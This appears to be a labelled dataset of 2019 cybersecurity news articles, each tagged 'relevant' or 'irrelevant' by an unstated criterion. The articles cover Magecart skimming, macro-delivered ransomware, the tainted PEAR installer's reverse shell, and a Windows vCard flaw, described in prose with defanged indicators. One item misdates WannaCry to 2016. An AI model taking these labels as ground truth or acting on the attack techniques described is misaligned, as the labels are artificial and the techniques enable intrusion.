"New malware found using Google Drive as its command-and-control server Since most security tools also keep an eye on the network traffic to detect malicious IP addresses, attackers are increasingly adopting infrastructure of legitimate services in their attacks to hide their malicious activities. Cybersecurity researchers have now spotted a new malware attack campaign linked to the notorious DarkHydrus APT group that uses Google Drive as its command-and-control (C2) server. DarkHydrus first came to light in August last year when the APT group was leveraging the open-source Phishery tool to carry out credential-harvesting campaign against government entities and educational institutions in the Middle East. The latest malicious campaign conducted by the DarkHydrus APT group was also observed against targets in the Middle East, according to reports published by the 360 Threat Intelligence Center (360TIC) and Palo Alto Networks. This time the advanced threat attackers are using a new variant of their backdoor Trojan, called RogueRobin, which infects victims' computers by tricking them into opening a Microsoft Excel document containing embedded VBA macros, instead of exploiting any Windows zero-day vulnerability. Enabling the macro drops a malicious text (.txt) file in the temporary directory and then leverages the legitimate 'regsvr32.exe' application to run it, eventually installing the RogueRobin backdoor written in C# programming language on the compromised system. microsoft office macro malware According to Palo Alto researchers, RogueRobin includes many stealth functions to check whether it is executed in the sandbox environment, including checking for virtualized environments, low memory, processor counts, and common analysis tools running on the system. It also contains anti-debug code. Like the original version, the new variant of RogueRobin also uses DNS tunneling—a technique of sending or retrieving data and commands through DNS query packets—to communicate with its command-and-control server. However, researchers discovered that besides DNS tunneling, the malware has also been designed to use Google Drive APIs as an alternative channel to send data and receive commands from the hackers. ""RogueRobin uploads a file to the Google Drive account and continually checks the file's modification time to see if the actor has made any changes to it. The actor will first modify the file to include a unique identifier that the Trojan will use for future communications,"" Palo Alto researchers say. The new malware campaign suggests that the APT hacking groups are shifting more towards abusing legitimate services for their command-and-control infrastructure to evade detection. It should be noted that since VBA macros is a legitimate feature, most antivirus solutions do not flag any warning or block MS Office documents with VBA code. The best way to protect yourself from such malware attacks is always to be suspicious of any uninvited document sent via an email and never click on links inside those documents unless properly verifying the source.",relevant
"Hackers infect e-commerce sites by compromising their advertising partner Magecart strikes again, one of the most notorious hacking groups specializes in stealing credit card details from poorly-secured e-commerce websites. According to security researchers from RiskIQ and Trend Micro, cybercriminals of a new subgroup of Magecart, labeled as ""Magecart Group 12,"" recently successfully compromised nearly 277 e-commerce websites by using supply-chain attacks. Magecart is the same group of digital credit card skimmers which made headlines last year for carrying out attacks against some big businesses including Ticketmaster, British Airways, and Newegg. Typically, the Magecart hackers compromise e-commerce sites and insert malicious JavaScript code into their checkout pages that silently captures payment information of customers making purchasing on the sites and then send it to the attacker's remote server. However, the researchers from the two firms today revealed that instead of directly compromising targeted websites, the Magecart Group 12 hacked and inserted its skimming code into a third-party JavaScript library, enabling all websites using that script to load the malicious code. magecart hacking group The third-party library targeted by Magecart Group 12 is by a French online advertising company, called Adverline, whose service is being used by hundreds of European e-commerce websites to display ads. ""At the time of our research, the websites embedded with Adverline's re-targeting script loaded Magecart Group 12's skimming code, which, in turn, skims payment information entered on web pages then sends it to its remote server,"" Trend Micro says. What's more? Security researcher Yonathan Klijnsma at RiskIQ discovered that the skimmer code for MageCart Group 12 protects itself from de-obfuscation and analysis by performing an integrity check twice on itself. ""Magecart Group 12 uses a skimming toolkit that employs two obfuscated scripts. The first script is mostly for anti-reversing while the second script is the main data-skimming code,"" the researchers say. Upon infection, the data-skimming code first checks if it is executed on an appropriate shopping cart web page. It does so by detecting related strings in the URL like 'checkout,' 'billing,' 'purchase,' 'panier,' which means 'basket' in French, and 'kasse,' which means 'checkout' in German. magecart hacking group Once it detects any of these strings in the URL, the script will start performing the skimming behavior by copying both the form name and values keyed in by the user on the webpage's typing form. The stolen payment and billing data are then stored in the JavaScript LocalStorage with the key name 'Cache' in Base64 format. To specify individual victims, the code also generates a random number which it reserves into LocalStorage with key name E-tag. ""A JavaScript event 'unload' is triggered whenever the user closes or refreshes the payment web-page. The script then sends the skimmed payment data, the random number (E-tag), and the e-commerce website's domain to a remote server through HTTP POST, with Base64 coding on the entire, sent date,"" Trend Micro researchers explain. The researchers also published the IOCs associated with this Group 12's operation, which includes the domains the skimmers used for injecting their code into the affected websites and receiving the stolen payment information. Upon contacting, Adverline patched the issue immediately and removed the malicious code from its JavaScript library.",irrelevant
"GandCrab ransomware and Ursnif virus spreading via MS Word macros Security researchers have discovered two separate malware campaigns, one of which is distributing the Ursnif data-stealing trojan and the GandCrab ransomware in the wild, whereas the second one is only infecting victims with Ursnif malware. Though both malware campaigns appear to be a work of two separate cybercriminal groups, we find many similarities in them. Both attacks start from phishing emails containing an attached Microsoft Word document embedded with malicious macros and then uses Powershell to deliver fileless malware. Ursnif is a data-stealing malware that typically steals sensitive information from compromised computers with an ability to harvest banking credentials, browsing activities, collect keystrokes, system and process information, and deploy additional backdoors. Discovered earlier last year, GandCrab is a widespread ransomware threat that, like every other ransomware in the market, encrypts files on an infected system and insists victims to pay a ransom in digital currency to unlock them. Its developers ask payments primarily in DASH, which is more complex to track. MS Docs + VBS macros = Ursnif and GandCrab Infection The first malware campaign distributing two malware threats was discovered by security researchers at Carbon Black who located approximately 180 variants of MS Word documents in the wild that target users with malicious VBS macros. If successfully executed, the malicious VBS macro runs a PowerShell script, which then uses a series of techniques to download and execute both Ursnif and GandCrab on the targeted systems. microsoft office docs macros malware ransomware The PowerShell script is encoded in base64 that executes the next stage of infection which is responsible for downloading the main malware payloads to compromise the system. The first payload is a PowerShell one-liner that evaluates the architecture of the targeted system and then accordingly downloads an additional payload from the Pastebin website, which is executed in the memory, making it difficult for traditional anti-virus techniques to detect its activities. ""This PowerShell script is a version of the Empire Invoke-PSInject module, with very few modifications,"" Carbon Black researchers said. ""The script will take an embedded PE [Portable Executable] file that has been base64 encoded and inject that into the current PowerShell process."" The final payload then installs a variant of the GandCrab ransomware on the victim's system, locking them out of their system until they pay a ransom in digit currency. Meanwhile, the malware also downloads a Ursnif executable from a remote server and once executed, it will fingerprint the system, monitor web browser traffic to collect data, and then send it out to the attackers' command and control (C&C) server. ""However, numerous Ursnif variants were hosted on the bevendbrec[.]com site during this campaign. Carbon Black was able to discover approximately 120 different Ursnif variants that were being hosted from the domains iscondisth[.]com and bevendbrec[.]com,"" the researchers said. MS Docs + VBS macros = Ursnif Data-Stealing Malware Similarly, the second malware campaign that was spotted by security researchers at Cisco Talos leverages a Microsoft Word document containing a malicious VBA macro to deliver another variant of same Ursnif malware. microsoft office docs macros malware This malware attack also compromises targeted systems in multiple stages, starting from phishing emails to running malicious PowerShell commands to gain fileless persistence and then downloading and installing Ursnif data-stealing computer virus. ""There are three parts to the [PowerShell] command. The first part creates a function that is later used to decode base64 encoded PowerShell. The second part creates a byte array containing a malicious DLL,"" Talos researchers explained. ""The third part executes the base64 decode function created in the first part, with a base64 encoded string as the parameter to the function. The returned decoded PowerShell is subsequently executed by the shorthand Invoke-Expression (iex) function."" Once executed on the victim computer, the malware collects information from the system, puts into a CAB file format, and then sends it to its command-and-control server over HTTPS secure connection. Talos researchers have published a list of indicators of compromise (IOCs), along with the names of payload file names dropped on compromised machines, on their blog post that can help you detect and stop the Ursnif malware before it infects your network.",relevant
"FBI Mapping 'Joanap Malware' Victims to Disrupt the North Korean Botnet The United States Department of Justice (DoJ) announced Wednesday its effort to ""map and further disrupt"" a botnet tied to North Korea that has infected numerous Microsoft Windows computers across the globe over the last decade. Dubbed Joanap, the botnet is believed to be part of ""Hidden Cobra""—an Advanced Persistent Threat (APT) actors' group often known as Lazarus Group and Guardians of Peace and backed by the North Korean government. Hidden Cobra is the same hacking group that has been allegedly associated with the WannaCry ransomware menace in 2016, the SWIFT Banking attack in 2016, as well as Sony Motion Pictures hack in 2014. Dates back to 2009, Joanap is a remote access tool (RAT) that lands on a victim's system with the help an SMB worm called Brambul, which crawls from one computer to another by brute-forcing Windows Server Message Block (SMB) file-sharing services using a list of common passwords. Once there, Brambul downloads Joanap on the infected Windows computers, effectively opening a backdoor for its masterminds and giving them remote control of the network of infected Windows computers. If You Want to Beat Them, Then First Join Them Interestingly, the computers infected by Joanap botnet don't take commands from a centralized command-and-control server; instead it relies on peer-to-peer (P2P) communications infrastructure, making every infected computer a part of its command and control system. Even though Joanap is currently being detected by many malware protection systems, including Windows Defender, the malware's peer-to-peer (P2P) communications infrastructure still leaves large numbers of infected computers connected to the Internet. So to identify infected hosts and take down the botnet, the FBI and the Air Force Office of Special Investigations (AFOSI) obtained legal search warrants that allowed the agencies to join the botnet by creating and running ""intentionally infected"" computers mimicking its peers to collect both technical and ""limited"" identifying information in an attempt to map them, the DoJ said in its press release. ""While the Joanap botnet was identified years ago and can be defeated with antivirus software, we identified numerous unprotected computers that hosted the malware underlying the botnet,"" said U.S. Attorney Nicola T. Hanna. ""The search warrants and court orders announced today as part of our efforts to eradicate this botnet are just one of the many tools we will use to prevent cybercriminals from using botnets to stage damaging computer intrusions."" The collected information about computers infected with the Joanap malware included IP addresses, port numbers, and connection timestamps which allowed the FBI and AFOSI to build a map of the current Joanap botnet. The agencies are now notifying victims of the presence of Joanap on their infected computers through their Internet Service Providers (ISPs) and even sending personal notifications to people who don't have a router or firewall protecting their systems. The US Justice Department and FBI will also coordinate the notification of overseas victims of the Joanap malware by sharing the data with the government of other countries. The efforts to disrupt the Joanap botnet began after the United States unsealed charges against a North Korean computer programmer named Park Jin Hyok in September last year for his role in masterminding the Sony Pictures and WannaCry ransomware attacks. Joanap and Brambul were also recovered from computers of the victims of the campaigns listed in the Hyok's September indictment, suggesting that he aided the development of the Joanap botnet.",irrelevant
"Unprotected Government Server Exposes Years of FBI Investigations A massive government data belonging to the Oklahoma Department of Securities (ODS) was left unsecured on a storage server for at least a week, exposing a whopping 3 terabytes of data containing millions of sensitive files. The unsecured storage server, discovered by Greg Pollock, a researcher with cybersecurity firm UpGuard, also contained decades worth of confidential case files from the Oklahoma Securities Commission and many sensitive FBI investigations—all wide open and accessible to anyone without any password. Other severe files exposed included emails, social security numbers, names, and addresses of 10,000 brokers, credentials for remote access to ODS workstations, and communications meant for the Oklahoma Securities Commission, along with a list of identifiable information related to AIDS patients. While the researcher doesn't know exactly how long the server was open to the public, the Shodan search engine revealed that the server had been publicly open since at least November 30, 2018, almost a week after (on December 7) Pollock discovered it. The UpGuard research team notified the ODS department the next day, and the state agency removed 'public access' to the unsecured pathway immediately after they were notified, though it is still unclear whether anyone else accessed the unsecured server. database leaked download According to the security firm, such exposure could have a ""severe impact"" on the department's network integrity. ""By the best available measures of the files' contents and metadata, the data was generated over decades, with the oldest data originating in 1986 and the most recent modified in 2016,"" a blog post published on the UpGuard website reads. ""The data was exposed via an unsecured rsync service at an IP address registered to the Oklahoma Office of Management and Enterprise Services, allowing any user from any IP address to download all the files stored on the server."" The firm also found passwords that could have allowed hackers to remotely access the state agency's workstations, and a spreadsheet containing login information and passwords for several internet services, including popular antivirus software. In response to the incident, the Oklahoma Securities Commission said in a press release published Wednesday that an ""accidental vulnerability"" of limited duration was discovered and immediately secured in the server and that the department is taking the issue seriously and ordered a forensic investigation. Oklahoma Securities Commission data leakage ""The Oklahoma Department of Securities (ODS) has initiated a comprehensive review of the circumstances surrounding an incident involving the inadvertent exposure of information during installation of a firewall,"" the Commission added. ""The ODS has notified law enforcement and OMES regarding the incident. A forensic team is currently conducting an analysis to determine the type and number of data files that may have been exposed and who may have accessed them."" The Commission also said the department is also exploring remedial actions and notifications for anyone whose information may have been exposed, and reviewing internal procedures, controls and security measures to ensure such incidents can't occur in the future.",irrelevant
"Someone Hacked PHP PEAR Site and Replaced the Official Package Manager Beware! If you have downloaded PHP PEAR package manager from its official website in past 6 months, we are sorry to say that your server might have been compromised. Last week, the maintainers at PEAR took down the official website of the PEAR (pear-php.net) after they found that someone has replaced original PHP PEAR package manager (go-pear.phar) with a modified version in the core PEAR file system. Though the PEAR developers are still in the process of analyzing the malicious package, a security announcement published on January 19, 2019, confirmed that the allegedly hacked website had been serving the installation file contaminated with the malicious code to download for at least half a year. The PHP Extension and Application Repository (PEAR) is a community-driven framework and distribution system that offers anyone to search and download free libraries written in PHP programming language. These open-source libraries (better known as packages) allows developers to easily include additional functionalities into their projects and websites, including authentication, caching, encryption, web services, and many more. When you download PHP software for Unix/Linux/BSD systems, PEAR download manager (go-pear.phar) comes pre-installed, whereas Windows and Mac OS X users need to install the component when required manually. php pear hack Since many web hosting companies, including shared hosting providers, also allow their users to install and run PEAR, this latest security breach could impact a large number of websites and their visitors. ""If you have downloaded this go-pear.phar in the past six months, you should get a new copy of the same release version from GitHub (pear/pearweb_phars) and compare file hashes. If different, you may have the infected file,"" the note on the official PEAR website reads. According to the PEAR maintainers, the team is currently performing a forensic investigation to determine what is the extent of the attack and how the attackers managed to compromise the server in the first place. A new clean version 1.10.10 of pearweb_phars is now available on Github, which ""re-releases the correct 'go-pear.phar' as v1.10.9, the file that was found tainted on the 'https://pear.php.net' server, and now includes separate GPG signature files with each 'phar."" The developers further notified that only the copy on the pear.php.net server was impacted, to their knowledge, and that the GitHub copy of go-pear.phar is not compromised. Since the PEAR officials have just put out a warning notification and not released any details about the security incident, it is still unclear that who is behind the attack. The developers tweeted that they will publish a ""more detailed announcement"" on the PEAR Blog once it's back online. All PHP/PEAR users who have downloaded the installation file go-pear.phar from the official website in the past six months should consider themselves compromised and quickly download and install the Github version. UPDATE — The PEAR team has published more details about the recent security incident, explaining the tainted ""go-pear.phar"" found on its server appeared to be planted after the last official file release on 20 December 2018. php exploit reverse shell After analyzing the tainted version of the package manager, the team found that the malicious module ""spawn a reverse shell via Perl to IP 104.131.154.154"" from the infected servers, allowing attackers to take complete control over them, including the ability to install apps, run malicious code, and steal sensitive data. According to the DCSO, a German cybersecurity organization who also analyzed the tainted code, the server IP address 104.131.154.154 points to a web domain bestlinuxgames[.]com, which it believes was a compromised host used by the attackers. ""This IP has been reported to its host in relation to the taint. No other breach was identified. The install-pear-nozlib.phar was ok. The go-pear.phar file at GitHub was ok, and could be used as a good md5sum comparison for any suspect copies,"" PEAR team said in a series of tweets. ""So, if you downloaded go-pear.phar since 12/20 in order to run it once to install the PEAR package on your system, you *should* be concerned, particularly if your system has 'sh' and 'perl' available."" ""If you downloaded go-pear.phar before 12/20, we have no concrete evidence you received an infected file... but it would be prudent to check your system if you used go-pear.phar to perform a PEAR installation in the last several months."" ""Also note that this does *not* affect the PEAR installer package itself... it affects the go-pear.phar executable that you would use to initially install the PEAR installer. Using the 'pear' command to install various PEAR package is *not* affected.""",irrelevant
"Millions of PCs Found Running Outdated Versions of Popular Software It is 2019, and millions of computers still either have at least one outdated application installed or run outdated operating systems, making themselves vulnerable to online threats and known security vulnerabilities/exploits. Security vendor Avast has released its PC Trends Report 2019 revealing that millions of users are making themselves vulnerable to cyber attacks by keeping outdated versions of popular applications on their computers. Probably the most overlooked vectors for any cyber attack is out-of-date programs, which most of the times, is the result of the users' laziness and company's administrators ignoring the security updates in a business environment as they can't afford the downtime. According to the report [PDF], Adobe Shockwave tops the list of software that most user left outdated on their PCs, followed by VLC Media Player, Skype, Java Runtime Environment , 7-Zip File Manager, and Foxit Reader. vulnerable software list The outdated software applications often provide an open door for hackers and cybercriminals to take advantage of security bugs and loopholes in the programs, making them a potential target of cyber attacks. However, it is not only applications but also operating systems that are out of date. Almost 15% of all Windows 7 computers and 9% of all Windows 10 computers are running an outdated version of the operating systems. To understand the risk, there could be no better example than the Global WannaCry menace that largely infected networks that used out-of-date operating systems, like Windows XP, for which Microsoft no longer offers technical support. WannaCry was taking advantage of a dangerous security hole in Microsoft Windows that had already been fixed by the company months before the ransomware threat strikes the whole world. windows computer ""Most of us replace our smartphone regularly, but the same cannot be said for our PCs. With the average age of a PC now reaching six years old, we need to be doing more to ensure our devices are not putting us at unnecessary risk,"" said Avast President Ondrej Vlcek. ""With the right amount of care, such as cleaning our hardware's insides using cleaners, optimization and security products, PCs will be safe and reliable for even longer."" The bottom line: Keeping your operating systems and software applications patched and up-to-date can protect you from cyber attacks and prevent hackers from taking advantage of your vulnerable machine to steal your personal and sensitive data.",irrelevant
"Ukrainian Police Arrest 6 Hackers Linked to DDoS and Financial Attacks Ukrainian Police have this week busted out two separate groups of hackers involved in carrying out DDoS attacks against news agencies and stealing money from Ukrainian citizens, respectively. According to the authorities, the four suspected hackers they arrested last week, all aged from 26 to 30 years, stole more than 5 million Hryvnia (around 178,380 USD) from the bank accounts of Ukrainian citizens by hacking into their computers. The suspects carried out their attacks by scanning vulnerable computers on the Internet and infecting them with a custom Trojan malware to take full remote control of the systems. The group then apparently enabled key-logging on the infected computers in an attempt to capture banking credentials of victims when the owners of those infected computers fill in that information on any banking site or their digital currency wallet. rdp-malware-hacker Once getting a hold on the victims banking and financial data, the attackers logged into their online banking accounts and transferred the funds or cryptocurrencies to the accounts controlled by the attackers. ""Usually such actions were carried out at night,"" the authorities said. ""At the same time, the bank did not react to these operations, as they were carried out by the trusted user. The operation was completely legitimate."" Besides stealing money, the suspects also left the backdoor on the victims' computers for further control, so that they can use them in the future for carrying out other illicit activities. Criminal proceedings against all the four people have been initiated under several articles of the Criminal Code of Ukraine, including theft and unauthorized interference with the work of computers, automated systems, computer networks or telecommunication networks. Two Ukrainian DDoS Hackers Arrested In a separate press release, Police today announced the arrest of two other hackers, 21- and 22-years-old, suspected of performing DDoS attacks against several critical Ukrainian resources, including news sites of the city of Mariupol and several state educational institutions. ddos hacking software According to the authorities, the duo developed two DDoS hacking tools which they used to send hundreds of automatic queries to their targeted regional information resources every second, eventually making their service unavailable. The pair is currently facing up to six years in prison under article 361 of the Criminal Code of Ukraine, which includes unlawful interference with the work of computers, automated systems, computer networks or telecommunication networks.",irrelevant
"Unpatched vCard Flaw Could Let Attackers Hack Your Windows PCs A zero-day vulnerability has been discovered and reported in the Microsoft's Windows operating system that, under a certain scenario, could allow a remote attacker to execute arbitrary code on Windows machine. Discovered by security researcher John Page (@hyp3rlinx), the vulnerability was reported to the Microsoft security team through Trend Micro's Zero Day Initiative (ZDI) Program over 6 months ago, which the tech giant has refused to patch, at least for now. The vulnerability, which has not been assigned any CVE number, actually resides within the processing of a vCard file—a standard file format for storing contact information for a person or business, which is also supported by Microsoft Outlook. According to the researcher, a remote attacker can maliciously craft a VCard file in a way that the contact's website URL stored within the file points to a local executable file, which can be sent within a zipped file via an email or delivered separately via drive-by-download techniques. As shown in the video demonstration, if a victim clicks that website URL, the Windows operating system would run the malicious executable without displaying any warning, instead of opening the web address on the browser. ""Crafted data in a VCard file can cause Windows to display a dangerous hyperlink,"" the researcher writes in an advisory. ""The user interface fails to provide any indication of the hazard. An attacker can leverage this vulnerability to execute code in the context of the current user."" Obviously, ""user interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file."" Although the attack requires user's interaction, leaving the vulnerability unpatched would leave an opportunity for sophisticated attackers to target Windows users at large. The researcher has also published proof-of-concept exploit code for the vulnerability, which has been assigned a CVSS 3.0 score of 7.8.",relevant
"5 Popular Web Hosting Services Found Vulnerable to Multiple Flaws A security researcher has discovered multiple one-click client-side vulnerabilities in the some of the world's most popular and widely-used web hosting companies that could have put millions of their customers as well as billions of their sites' visitors at risk of hacking. Independent researcher and bug-hunter Paulos Yibelo, who shared his new research with The Hacker News, discovered roughly a dozen serious security vulnerabilities in Bluehost, Dreamhost, HostGator, OVH, and iPage, which amounts to roughly seven million domains. Some of the vulnerabilities are so simple to execute as they require attackers to trick victims into clicking on a simple link or visiting a malicious website to easily take over the accounts of anyone using the affected web hosting providers. Critical Flaws Reported in Popular Web Hosting Services Yibelo tested all the below-listed vulnerabilities on all five web hosting platforms and found several account takeover, cross-scripting, and information disclosure vulnerabilities, which he documented on the Website Planet blog. 1. Bluehost—the company owned by Endurance which also owns Hostgator and iPage, and in total, the three hosting providers powers more than 2 million sites around the world. Bluehost was found vulnerable to: Information leakage through cross-origin-resource-sharing (CORS) misconfigurations Account takeover due to improper JSON request validation CSRF A Man-in-the-middle attack can be performed due to improper validation of CORS scheme Cross-site scripting flaw on my.bluehost.com allows account takeover (demonstrated in a proof-of-concept, below) 2. Dreamhost—the hosting provider that powers one million domains was found vulnerable to: Account takeover using cross-site scripting (XSS) flaw 3. HostGator Site-wide CSRF protection bypass allows complete control Multiple CORS misconfigurations leading to information leak and CRLF 4. OVH Hosting—the company that alone powers four million domains around the world was found vulnerable to: CSRF protection bypass API misconfigurations 5. iPage Hosting Account takeover flaw Multiple Content Security Policy (CSP) bypasses Video Demonstrations Talking to The Hacker News, Yibelo said he took about an hour on each of the five web hosting platforms on an average to find at least one account takeover-related client-side vulnerability, mostly using the Burp Suite, a web application security testing tool, and Firefox browser plugins. ""They mostly focus on protecting the wrong assets, but most of them have medium security standards for their user profile portals and data exfiltration vulnerability classes. Most of their protections are easily bypassable using lesser-known tricks,"" Yibelo told The Hacker News. Among the affected hosting companies, Yibelo found Bluehost, HostGator and iPage to be the easiest ones to hack into, though he told The Hacker News that HostGator included ""multiple layers of security checks (that can be bypassed, but they are there, unlike the other sites)."" Yibelo reported his findings to the affected web hosting providers, all except OVH patched their services before the information went public yesterday. OVH has yet to confirm and response on the researcher's findings.",irrelevant
"Microsoft Patch Tuesday — January 2019 Security Updates Released Microsoft has issued its first Patch Tuesday for this year to address 49 CVE-listed security vulnerabilities in its Windows operating systems and other products, 7 of which are rated critical, 40 important and 2 moderate in severity. Just one of the security vulnerabilities patched by the tech giant this month has been reported as being publicly known at the time of release, and none are being actively exploited in the wild. All the seven critical-rated vulnerabilities lead to remote code execution and primarily impact various versions of Windows 10 and Server editions. Two of the 7 critical flaws affect Microsoft's Hyper-V host OS that fails to properly validate input from an authenticated user on a guest operating system, three affect the ChakraCore scripting engine that fails to properly handle objects in memory in Edge, one affects Edge directly that occurs when the browser improperly handles objects in memory, and one impacts the Windows DHCP client that fails to properly handle certain DHCP responses. The publicly disclosed flaw but not exploited in the wild, identified as CVE-2019-0579 and rated as important, concerns a remote code execution (RCE) vulnerability in the Windows Jet Database engine that could be exploited to execute arbitrary code on a victim's system by tricking him into opening a specially-crafted file. Other ""Important"" vulnerabilities are addressed in the .NET framework, MS Exchange Server, Edge, Internet Explorer, SharePoint, the Office suite, Windows Data Sharing Service, Visual Studio, Outlook, and Windows Subsystem for Linux. One of the MS Office flaws patched this month is an information disclosure bug (CVE-2019-0560) which exists when Microsoft Office improperly discloses the contents of its memory. Attackers can exploit this vulnerability by tricking a user into opening a specially crafted Office document. Successful exploitation could allow an attacker to obtain information from the Office memory that can later be used to compromise a victim's computer or data. Microsoft credited Tal Dery and Menahem Breuer of Mimecast Research Labs for this vulnerability. To know more details about their findings, you can head on to an advisory and a blog post published by Mimecast. Lock Screen Bypass Flaw in Skype for Android Also Patched Another notable bug patched by Microsoft this month is a privilege vulnerability (CVE-2019-0622) vulnerability in Skype for Android that could have allowed hackers to bypass the lock screen and access personal data on an Android device—by merely answering a Skype call to that device. The Skype flaw has been rated as 'moderate' and requires an attacker to have physical access to your device. A patch for this vulnerability was included in the December 23 release of Skype, but Skype for Android users need to manually update the app from Google Play. Although Microsoft does not list this as publicly known, the researcher posted a YouTube video demonstrating the vulnerability back on December 31. Though not part of this months patch update, users are also recommended to download the latest update to patch a memory corruption vulnerability (CVE-2018-8653) in Internet Explorer that Microsoft addressed by releasing an out of band patch in December, as the flaw continues to be exploited in the wild. Users and system administrators are strongly recommended to apply the latest security patches as soon as possible to keep hackers and cybercriminals away from taking control of their systems. For installing the latest security patch updates, head on to Settings → Update & Security → Windows Update → Check for updates, on your computer system or you can install the updates manually.",relevant
"Hacking Virtual Reality – Researchers Exploit Popular Bigscreen VR App A team of cybersecurity researchers from the University of New Haven yesterday released a video demonstrating how vulnerabilities that most programmers often underestimate could have allowed hackers to evade privacy and security of your virtual reality experience as well as the real world. According to the researchers—Ibrahim Baggili, Peter Casey and Martin Vondráček—the underlying vulnerabilities, technical details of which are not yet publicly available but shared exclusively with The Hacker News, resided in a popular virtual reality (VR) application called Bigscreen and the Unity game development platform, on which Bigscreen is built. Bigscreen is a popular VR application that describes itself as a ""virtual living room,"" enabling friends to hang out together in virtual world, watch movies in a virtual cinema, chat in the lobby, make private rooms, collaborate on projects together, share their computer screens or control in a virtual environment and more. Scary Things Hackers Can Do to Your VR Experience Bigscreen VR App As shown in the video, the flaws in Bigscreen app literally allowed researchers to remotely hijack Bigscreen's web infrastructure (that runs behind its desktop application) and perform multiple attack scenarios through a custom-designed command-and-control server, including: discover private rooms, join any VR room, including private rooms, eavesdrop on users while remaining invisible in any VR room, view VR users' computer screens in real-time, stealthily receive victim's screen sharing, audio, and microphone audio, send messages on the user's behalf, remove/ban users from a room setup a self-replicating worm that could spread across the Bigscreen community, and many more. What's even more Worrisome? Besides this, a different vulnerability in the Unity Engine Scripting API that researchers exploited in combination with the Bigscreen flaw, allowed them to even take complete control over VR users' computers by secretly downloading and installing malware or running malicious commands without requiring any further interaction. Bigscreen VR App and Unity Engine Vulnerabilities According to the in-depth technical details shared with The Hacker News, multiple Bigscreen flaws in question are persistent/stored cross-site scripting (XSS) issues that reside in the input fields where VR users are supposed to submit their username, room name, room description, room category in the Bigscreen app. Bigscreen VR Since the vulnerable input boxes were not sanitized, attackers could have leveraged the flaw to inject and execute malicious JavaScript code on the application installed by other users connecting to the Bigscreen lobby and VR rooms. ""The payload script will be executed upon the browser-based player entering a room affecting all members of the room. This attack vector allows for the modification/invocation of any variable/function within the scope of the Window,"" researchers told The Hacker News. ""In summary, the ability to execute JavaScript on the victim's machine allows for many other attacks such as phishing pop-ups, forged messages, and forced desktop sharing."" ""We observed a lack of authentication when handling private room joining and communications with the Bigscreen signaling server. As a result, several potential vulnerabilities arise, to include denial of service, manipulation of public rooms, brute force attacks, and server resource exhaustion."" As demonstrated by the team, attackers can also inject malicious JavaScript payloads to leverage an undocumented and potentially dangerous Unity Scripting API to secretly download malware from the Internet and execute it on a targeted system or for all users. ""The function Unity.openLink() was found to launch web links in the default 6 browsers. An XSS attack containing an HTTP, FTP, or SMB link could cause arbitrary files to be fetched and downloaded,"" researchers told The Hacker News. unity engine game hacking ""We expect that most of the applications using affected Unity API may be vulnerable."" The team discovered the vulnerabilities while testing the security of VR systems through its National Science Foundation-funded project. Man-in-the-Room (MITR) Attack As dubbed by the researchers, Man-in-the-Room is one of the attack scenarios where a hacker secretly joins a VR room while remaining invisible to other users in the same room. ""They can't see you, they can't hear you, but the hacker can hear and see them, like an invisible Peeping Tom. A different layer of privacy has been invaded,"" Ibrahim Baggili, founder and co-director of the Cyber Forensics Research and Education Group, said. vr game hacking The team found that Bigscreen application uses Dynamically Loaded Libraries (DLLs) without integrity checking that allowed the researchers to modify the source code of selected libraries and change its behavior, letting them hide their presence from UI using XSS payloads. ""Our proof-of-concept WebRTC application was able to connect to legitimate Bigscreen application. This lead to complete control over one end of audio/video/microphone/data streams. Our application was invisible in the VR room because it did not send any data to other peers,"" the researchers said. The team responsibly reported their findings to both Bigscreen and Unity. Bigscreen acknowledged the security vulnerabilities in its ""servers and streaming systems"" and released the new Bigscreen Beta ""2019 Update"" that fully patched the issues. Moreover, Unity acknowledged the vulnerabilities by merely adding a note to its documentation stating that its platform ""can be used to open more than just web pages, so it has important security implication you must be aware of.""",irrelevant
"Learn Ethical Hacking From Scratch — 2019 Training Bundle The world of cybersecurity is fast-paced and ever-changing. New attacks are unleashed every day, and companies around the world lose millions of dollars as a result. The only thing standing in the way of cybercrime is a small army of ethical hackers. These cybersecurity experts are employed to find weaknesses before they can be exploited. It's a lucrative career, and anyone can find work after the right training. According to the Bureau of Labor Statistics, demand for cyber security experts will expand rapidly over the next three or four years. If you want to build a career in the industry, now is the time to take action. Do you also want to learn real-world hacking techniques but don't know where to start? This week's THN deal is for you — 2019 Ethical Hacker Master Class Bundle. This latest training bundle includes 10 following-mentioned courses with over 180 hours of 1395 in-depth online lectures, helping you master all the fundamentals of cybersecurity and prepare for important certification exams. Ethical Hacker Training: Explore common hacking attacks and cyber defenses in an intuitive, Lab-filled environment. Cyber Threat Intelligence Analyst: Expose cyber threats and take them down as a threat intelligence expert. Ethical Hacker Bootcamp: Get up to speed with penetration testing, intrusion detection and more in this wall-to-wall bootcamp. Ethical Hacking With Python: Dive into Python programming and discover its ethical hacking applications. Advanced Persistent Threat Analyst: Fight back against advanced malware with a deep dive into today's cyber threats. Computer Hacker & Forensic Investigator Training: Put hackers behind bars with a detailed look at investigating cyber crimes. CompTIA A+ Certification Prep: Ignite your IT career as you prep for this essential cybersecurity certification. CompTIA Security+ Certification Prep: Master the network security essentials and prepare to certify your skills. CompTIA Network+ Certification Prep: Bolster your cybersecurity skills with a deep dive into the networking essentials. Security Analyst Training: Fix network vulnerabilities before they're exploited as a penetration tester. The training includes full prep for three CompTIA exams: A+, Security+ and Network+. These certificates are essential for anyone who wants to work in cybersecurity and are highly valued in other technical roles. Just as importantly, this bundle helps you stand out in the jobs market and over 2400 students from all around the world have already joined this training program so far. You can get lifetime access to this huge learning library for just $39 — that's after 99% of special huge discount for The Hacker News readers. You will learn through concise video lessons, and each course provides plenty of hands-on experience. Along the way, you learn how to set up your secure workflow and perform penetration tests on multiple platforms. The training also looks at intrusion detection, policy creation, social engineering, DDoS attacks, and much more. You even pick up some useful Python programming skills along the way. There is no time limit on any of the courses, and you can stream the tutorials on both mobile and desktop devices.",irrelevant
